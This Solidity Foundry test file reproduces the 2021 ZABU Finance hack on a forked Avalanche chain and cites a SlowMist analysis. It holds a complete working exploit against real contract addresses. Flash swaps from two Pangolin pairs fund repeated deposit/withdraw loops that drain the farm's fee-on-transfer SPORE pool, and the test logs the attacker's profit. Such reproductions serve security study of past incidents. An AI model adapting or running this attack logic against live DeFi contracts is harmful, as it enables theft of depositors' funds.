src/test/2021-09/ZABU_exp.sol

1pragma solidity ^0.8.10;
2 
3import "forge-std/Test.sol";
4import "./../interface.sol";
5 
6// @Analysis
7// https://slowmist.medium.com/brief-analysis-of-zabu-finance-being-hacked-44243919ea29
8 
9interface ZABUFarm {
10    function deposit(uint256 _pid, uint256 _amount) external;
11    function withdraw(uint256 _pid, uint256 _amount) external;
12    function emergencyWithdraw(
13        uint256 _pid
14    ) external;
15}
16 
17interface PangolinRouter {
18    function swapExactTokensForTokensSupportingFeeOnTransferTokens(
19        uint256 amountIn,
20        uint256 amountOutMin,
21        address[] calldata path,
22        address to,
23        uint256 deadline
24    ) external;
25}
26 
27contract depositToken {
28    IERC20 ZABU = IERC20(0xDd453dBD253fA4E5e745047d93667Ce9DA93bbCF);
29    IERC20 WAVAX = IERC20(0xB31f66AA3C1e785363F0875A1B74E27b85FD66c7);
30    IERC20 SPORE = IERC20(0x6e7f5C0b9f4432716bDd0a77a3601291b9D9e985);
31    Uni_Router_V2 Router = Uni_Router_V2(0xE54Ca86531e17Ef3616d22Ca28b0D458b6C89106);
32    ZABUFarm Farm = ZABUFarm(0xf61b4f980A1F34B55BBF3b2Ef28213Efcc6248C4);
33 
34    function depositSPORE() external payable {
35        address(WAVAX).call{value: 1 ether}("");
36        address[] memory path = new address[](2);
37        path[0] = address(WAVAX);
38        path[1] = address(SPORE);
39        WAVAX.approve(address(Router), type(uint256).max);
40        SPORE.approve(address(Farm), type(uint256).max);
41        Router.swapExactTokensForTokensSupportingFeeOnTransferTokens(
42            WAVAX.balanceOf(address(this)), 0, path, address(this), block.timestamp
43        );
44        Farm.deposit(uint256(38), SPORE.balanceOf(address(this)));
45    }
46 
47    function withdrawSPORE() external {
48        Farm.withdraw(uint256(38), SPORE.balanceOf(address(Farm)));
49    }
50 
51    function sellZABU() external {
52        address[] memory path = new address[](2);
53        path[0] = address(ZABU);
54        path[1] = address(WAVAX);
55        WAVAX.approve(address(Router), type(uint256).max);
56        ZABU.approve(address(Router), type(uint256).max);
57        Router.swapExactTokensForTokensSupportingFeeOnTransferTokens(
58            ZABU.balanceOf(address(this)), 0, path, address(this), block.timestamp
59        );
60    }
61}
62 
63contract ContractTest is Test {
64    IERC20 ZABU = IERC20(0xDd453dBD253fA4E5e745047d93667Ce9DA93bbCF);
65    IERC20 WAVAX = IERC20(0xB31f66AA3C1e785363F0875A1B74E27b85FD66c7);
66    IERC20 SPORE = IERC20(0x6e7f5C0b9f4432716bDd0a77a3601291b9D9e985);
67    IERC20 PNG = IERC20(0x60781C2586D68229fde47564546784ab3fACA982);
68    Uni_Router_V2 Router = Uni_Router_V2(0xE54Ca86531e17Ef3616d22Ca28b0D458b6C89106);
69    ZABUFarm Farm = ZABUFarm(0xf61b4f980A1F34B55BBF3b2Ef28213Efcc6248C4);
70    Uni_Pair_V2 PangolinPair1 = Uni_Pair_V2(0x0a63179a8838b5729E79D239940d7e29e40A0116); // SPORE WAVAX
71    Uni_Pair_V2 PangolinPair2 = Uni_Pair_V2(0xad24a72ffE0466399e6F69b9332022a71408f10b); // SPORE PNG
72    address addressContract;
73    uint256 reserve0Pair1;
74    uint256 reserve1Pair1;
75    uint256 reserve0Pair2;
76    uint256 reserve1Pair2;
77    CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);
78 
79    function setUp() public {
80        cheats.createSelectFork("avalanche", 4_177_751);
81    }
82 
83    function testExploit() public payable {
84        SPORE.approve(address(Farm), type(uint256).max);
85        WAVAX.approve(address(Router), type(uint256).max);
86        (reserve0Pair1, reserve1Pair1,) = PangolinPair1.getReserves();
87        (reserve0Pair2, reserve1Pair2,) = PangolinPair2.getReserves();
88        address(WAVAX).call{value: 2500 ether}("");
89        // depost SPORE
90        ContractFactory();
91        (bool success,) = addressContract.call{value: 1 ether}(abi.encodeWithSignature("depositSPORE()"));
92        require(success);
93        // change block.number
94        cheats.roll(block.number + 900);
95 
96        PangolinPair1.swap(SPORE.balanceOf(address(PangolinPair1)) - 1 * 1e18, 0, address(this), new bytes(1));
97        // change block.number
98        cheats.roll(block.number + 1001);
99        (bool success1,) = addressContract.call(abi.encodeWithSignature("withdrawSPORE()"));
100        require(success1);
101 
102        emit log_named_decimal_uint("Attacker ZABU profit after exploit", ZABU.balanceOf(addressContract), 18);
103 
104        (bool success2,) = addressContract.call(abi.encodeWithSignature("sellZABU()"));
105        require(success2);
106 
107        emit log_named_decimal_uint(
108            "Attacker WAVAX profit after exploit", WAVAX.balanceOf(addressContract) - 2500 * 1e18, 18
109        );
110    }
111 
112    function pangolinCall(address sender, uint256 amount0, uint256 amount1, bytes calldata data) public {
113        if (msg.sender == address(PangolinPair1)) {
114            PangolinPair2.swap(0, reserve1Pair2 - 1 * 1e18, address(this), new bytes(1));
115            // flashswap callback pair1
116            uint256 amountSPORE0 = SPORE.balanceOf(address(this));
117            SPORE.transfer(address(PangolinPair1), amountSPORE0);
118            uint256 SPOREInPair1 = SPORE.balanceOf(address(PangolinPair1));
119            uint256 WAVAXInPair1 = WAVAX.balanceOf(address(PangolinPair1));
120            uint256 amountWAVAX = (
121                reserve0Pair1 * reserve1Pair1 / ((SPOREInPair1 * 1000 - amountSPORE0 * 3 * 96 / 100) / 1000)
122                    - WAVAXInPair1
123            ) * 1000 / 997;
124            WAVAX.transfer(address(PangolinPair1), amountWAVAX);
125        }
126 
127        if (msg.sender == address(PangolinPair2)) {
128            //reduced lptoken
129            while (SPORE.balanceOf(address(Farm)) > 1000) {
130                uint256 amount = SPORE.balanceOf(address(this));
131                if (SPORE.balanceOf(address(this)) * 6 / 100 > SPORE.balanceOf(address(Farm))) {
132                    amount = SPORE.balanceOf(address(Farm)) * 100 / 6;
133                }
134                Farm.deposit(uint256(38), amount);
135                Farm.withdraw(uint256(38), amount);
136            }
137 
138            // flashswap callback pair2
139            uint256 amountSPORE1 = SPORE.balanceOf(address(this)) / 3;
140            SPORE.transfer(address(PangolinPair2), amountSPORE1);
141            uint256 SPOREInPari2 = SPORE.balanceOf(address(PangolinPair2));
142            uint256 PNGInPair2 = PNG.balanceOf(address(PangolinPair2));
143            uint256 amountPNG = (
144                reserve0Pair2 * reserve1Pair2 / ((SPOREInPari2 * 1000 - amountSPORE1 * 3 * 96 / 100) / 1000)
145                    - PNGInPair2
146            ) * 1000 / 997;
147            buyPNG(amountPNG);
148            PNG.transfer(address(PangolinPair2), PNG.balanceOf(address(this)));
149        }
150    }
151 
152    function ContractFactory() public {
153        address _add;
154        bytes memory bytecode = type(depositToken).creationCode;
155        assembly {
156            _add := create2(0, add(bytecode, 32), mload(bytecode), 1)
157        }
158        addressContract = _add;
159    }
160 
161    function buyPNG(
162        uint256 amount
163    ) public {
164        address[] memory path = new address[](2);
165        path[0] = address(WAVAX);
166        path[1] = address(PNG);
167        Router.swapTokensForExactTokens(amount, WAVAX.balanceOf(address(this)), path, address(this), block.timestamp);
168    }
169}